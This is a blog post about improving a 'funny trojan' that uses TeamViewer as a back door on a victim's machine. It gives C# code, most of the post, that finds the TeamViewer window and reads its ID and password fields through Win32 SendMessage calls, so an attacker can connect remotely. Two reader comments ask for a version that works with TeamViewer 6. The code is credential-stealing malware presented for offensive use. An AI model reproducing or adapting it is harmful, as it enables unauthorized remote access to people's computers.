C# – How to get ID and Pass of TeamViewer programatically?

As I said in my previous blog, I am improving a funny trojan which uses TeamViewer as its component to open a back door from victim’s machine. In this blog I would like to post a small snippet of code to show how we can get ID and Pass from window of TeamViewer. This ID and Pass are needed for building a remote connection to victim’s computer.

The function GetDesktopWindowsTitles you can see in previous blog. In this example I used overload of SendMessage function to get text length and text of each textbox. There are also many overload of SendMessage function. Each of them can be used for suitable window messages. If you can find more overload of SendMessage at Pinvoke site.

// Find window by Caption only. Note you must pass IntPtr.Zero as the first parameter.
[DllImport("user32.dll", EntryPoint = "FindWindow", SetLastError = true)]
static extern IntPtr FindWindowByCaption(IntPtr ZeroOnly, string lpWindowName);
[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr FindWindowEx(IntPtr parentHandle, IntPtr childAfter, string className, IntPtr windowTitle);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, int wParam,StringBuilder lParam);
static void Main()
	string[] strWindowsTitles = GetDesktopWindowsTitles();
	string strTeamViewer = "";
	foreach (string strTitle in strWindowsTitles)
		if (strTitle.Contains("TeamViewer"))
			if (strTitle == "TeamViewer")
				strTeamViewer = strTitle;

	if (strTeamViewer != "")
		IntPtr hWndTeamViewer = FindWindowByCaption(IntPtr.Zero, strTeamViewer);

		IntPtr hWndID = FindWindowEx(hWndTeamViewer, IntPtr.Zero, "Edit", IntPtr.Zero);
		IntPtr hWndPass = FindWindowEx(hWndTeamViewer, hWndID, "Edit", IntPtr.Zero);

		IntPtr pLengthID = SendMessage(hWndID, WM_GETTEXTLENGTH, IntPtr.Zero, IntPtr.Zero);
		IntPtr pLengthPass = SendMessage(hWndPass, WM_GETTEXTLENGTH, IntPtr.Zero, IntPtr.Zero);

		StringBuilder strbID = new StringBuilder((int)pLengthID);
		StringBuilder strbPass = new StringBuilder((int)pLengthPass);

		IntPtr pID = SendMessage(hWndID, WM_GETTEXT, (int)pLengthID, strbID);
		IntPtr pPass = SendMessage(hWndPass, WM_GETTEXT, (int)pLengthPass, strbPass);


You can note that at getting Handle of the Pass textbox , I give the Handle of ID textbox as argument ChildAfter to tell the FindWindowEx function that he should take the textbox right after ID textbox. The source code is pretty simple and easy to understand.


  1. I am not able to get id and password using above code in team viewer 6. This code is only working for team viewer 5.

    If any one has solution for version 6 then please let me know

  2. this code only works for team viewer 5. it is not working for team viewer 6. If any one has solution for version 6 then please let me know


Leave a comment

Your email address will not be published. Required fields are marked *